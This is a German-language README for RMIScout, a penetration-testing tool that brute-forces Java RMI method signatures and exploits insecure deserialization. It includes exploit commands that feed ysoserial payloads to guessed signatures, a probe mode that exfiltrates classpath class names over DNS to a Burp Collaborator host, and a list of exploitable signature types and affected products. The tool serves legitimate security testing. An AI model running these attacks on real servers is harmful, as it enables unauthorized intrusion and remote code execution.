
RMIScout verwendet Wortlisten- und Brute-Force-Strategien, um Java-RMI-Funktionen aufzulisten und Schwachstellen im RMI-Parameter-Unmarshalling auszunutzen
RMIScout ermöglicht Wortlisten- und Brute-Force-Angriffe auf exponierte Java-RMI-Schnittstellen, um Methodensignaturen sicher zu erraten, ohne sie aufzurufen. Es unterstützt mehrere Java-RMI-Protokolle, Methodenaufrufe und Exploitation.
Um RMI-Funktionen zu identifizieren, aber nicht auszuführen, verwendet RMIScout Low-Level-RMI-Netzwerkfunktionen und dynamische Klassengenerierung, um RMI-Aufrufe mit absichtlich nicht übereinstimmenden Typen zu senden und entfernte Ausnahmen auszulösen. Alle Parameter werden durch eine dynamisch generierte serialisierbare Klasse mit einem 255 Zeichen langen Namen ersetzt, von der angenommen wird, dass sie im entfernten Klassenpfad nicht existiert. Zum Beispiel:
Entfernte Schnittstelle:
void login(String user, String password)
RMIScout wird aufrufen:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
Wenn die Klasse vorhanden ist, führt dies zu einer entfernten java.rmi.UnmarshalException, verursacht durch die ClassNotFoundException oder einen Argument-Entmarshalling-Fehler, ohne die zugrundeliegende Methode aufzurufen.
Für detailliertere technische Ausführungen:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Geben Sie eine Wortliste mit Methodenprototypen an, die auf dem entfernten Server überprüft werden sollen. RMIScout gibt alle gefundenen Übereinstimmungen aus.
Für RMI-IIOP/CORBA: Sofern Methoden nicht überladen sind, erfordern Brute-Forcing und Aufruf nur übereinstimmende Namen (alle anderen Informationen werden ignoriert).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
Geben Sie eine Wortliste mit Kandidaten-Methodennamen an, gefolgt von einer kommagetrennten Liste möglicher Rückgabetypen, eines Zahlenbereichs für die Parameteranzahl und möglicher Parametertypen. Der Brute-Force-Modus erzeugt die Permutationen und sucht nach übereinstimmenden Signaturen.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
Bei falsch konfigurierten Servern kann jede bekannte RMI-Signatur, die nicht-primitive Typen verwendet (z. B. java.util.List), ausgenutzt werden, indem das Objekt durch eine serialisierte Nutzlast ersetzt wird. Dies ist eine ziemlich häufige Fehlkonfiguration (z. B. VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server und Gemfire, Apache Karaf + Cassandra), wie in An Trinhs 2019 Blackhat EU Vortrag hervorgehoben.
RMIScout integriert ysoserial, um Deserialisierungsangriffe gegen Dienste durchzuführen, die prozessweite Serialisierungsfilter falsch konfigurieren (JEP 290).
Beispiele für ausnutzbare Signaturen:
void exampleMethod(java.util.Map a) // Any non-primitive types
void exampleMethod(float[] a) // Any type of array, even primitives
void exampleMethod(String a) // Works on older JDKs, see below...
Hinweis: Signaturen, die java.lang.String-Typen enthalten, sind in RMI-JRMP nur in JRE 8/11/13/14 Versionen vor Anfang 2020 ausnutzbar, in RMI-IIOP jedoch weiterhin ausnutzbar.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout ermöglicht es Ihnen, beliebige Signaturen mit primitiven Typen, primitiven Arrays oder Zeichenketten aufzurufen. Komplexere Typen erfordern das Schreiben eines benutzerdefinierten Clients.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout integriert GadgetProbe zur Identifizierung von Klassen im entfernten Klassenpfad. Klassennamen werden über DNS exfiltriert.
Verwenden Sie das enthaltene Skript rmiscout.sh, um das Projekt automatisch zu bauen und als praktischen Wrapper um die java -jar-Syntax:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Alternativ kann das Projekt manuell gebaut und die traditionelle java -jar-Syntax verwendet werden:
# Manuell JAR bauen
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Hinweis: RMI-IIOP (Kompilierung/Laufzeit) und ysoserial (Laufzeit) sind von JDK8 abhängig.
Führen Sie den Dockerisierten Demo-RMI-Server aus. Testen Sie die enthaltene demo/wordlist.txt.
cd demo
./start_demo.sh
F: Wie kann ich feststellen, ob <host>:<port> eine RMI-Registry ist?
Verwenden Sie ./rmiscout list <host> <port>, um Informationen über Registries auf einem entfernten Server zu erhalten.
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
Oder verwenden Sie nmaps rmi-dumpregistry-Skript:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
F: Ich habe eine Registry auf Port 1098 mit dem Namen java.rmi.activation.ActivationSystem gefunden. Was kann ich damit tun?
A: Dies ist ein rmid Activation System Daemon. Alle seine Methoden sind durch den SecurityManager eingeschränkt. Neuere JREs prüfen, ob der entfernte Peer von localhost stammt, bevor sie entfernte Daten deserialisieren. Ältere Versionen (vor 2011) hatten diese Prüfung nicht und könnten anfällig sein. Siehe https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
F: Kann ich RMIScout mit einer neueren Laufzeitumgebung als JRE 8 ausführen?
A: Technisch gesehen ja, aber verschiedene Funktionen werden nicht mehr funktionieren. CORBA-Unterstützung, Probe-Unterstützung und ysoserial (Exploit-Modus) erfordern zwingend JRE 8.
F: Warum erhalte ich eine CannotCompileException?
A: Eine CannotCompileException tritt auf, wenn ein ungültiger Methodenname oder Prototyp direkt oder über eine Wortliste angegeben wird. RMIScout erzeugt zur Laufzeit Bytecode für benutzerdefinierte Kandidatensignaturen. Obwohl RMIScout grundlegende Regeln zur Korrektur häufiger Syntaxfehler in benutzerdefinierten Prototypen hat, kann es manchmal fehlschlagen.
Twitter: @BumbleSec
GitHub: the-bumble